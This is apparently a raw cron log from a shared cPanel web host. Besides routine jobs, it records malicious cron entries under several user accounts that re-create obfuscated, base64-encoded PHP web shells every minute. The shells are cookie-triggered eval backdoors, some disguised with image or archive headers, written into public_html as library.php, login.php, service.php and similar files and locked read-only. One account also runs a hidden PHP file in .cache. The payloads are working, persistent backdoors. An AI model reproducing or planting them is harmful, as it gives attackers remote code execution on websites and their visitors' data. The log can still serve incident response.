Apr 19 08:57:02 medusa CROND[16768]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:57:02 medusa CROND[16764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:57:02 medusa CROND[16776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:58:01 medusa CROND[7928]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:58:01 medusa CROND[8036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:58:01 medusa CROND[8035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:58:01 medusa CROND[8037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:58:01 medusa CROND[8038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:58:01 medusa CROND[8039]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:58:01 medusa CROND[8040]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:58:01 medusa CROND[8041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:58:01 medusa CROND[8043]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:58:01 medusa CROND[8044]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:58:01 medusa CROND[8047]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:58:01 medusa CROND[8048]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:58:01 medusa CROND[8049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 08:58:01 medusa CROND[8057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:59:01 medusa CROND[31969]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:59:01 medusa CROND[31970]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:59:01 medusa CROND[31971]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:59:01 medusa CROND[31972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:59:01 medusa CROND[31973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:59:01 medusa CROND[31975]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:59:01 medusa CROND[31974]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:59:01 medusa CROND[31979]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:59:01 medusa CROND[31982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:59:01 medusa CROND[31983]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:59:01 medusa CROND[31986]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
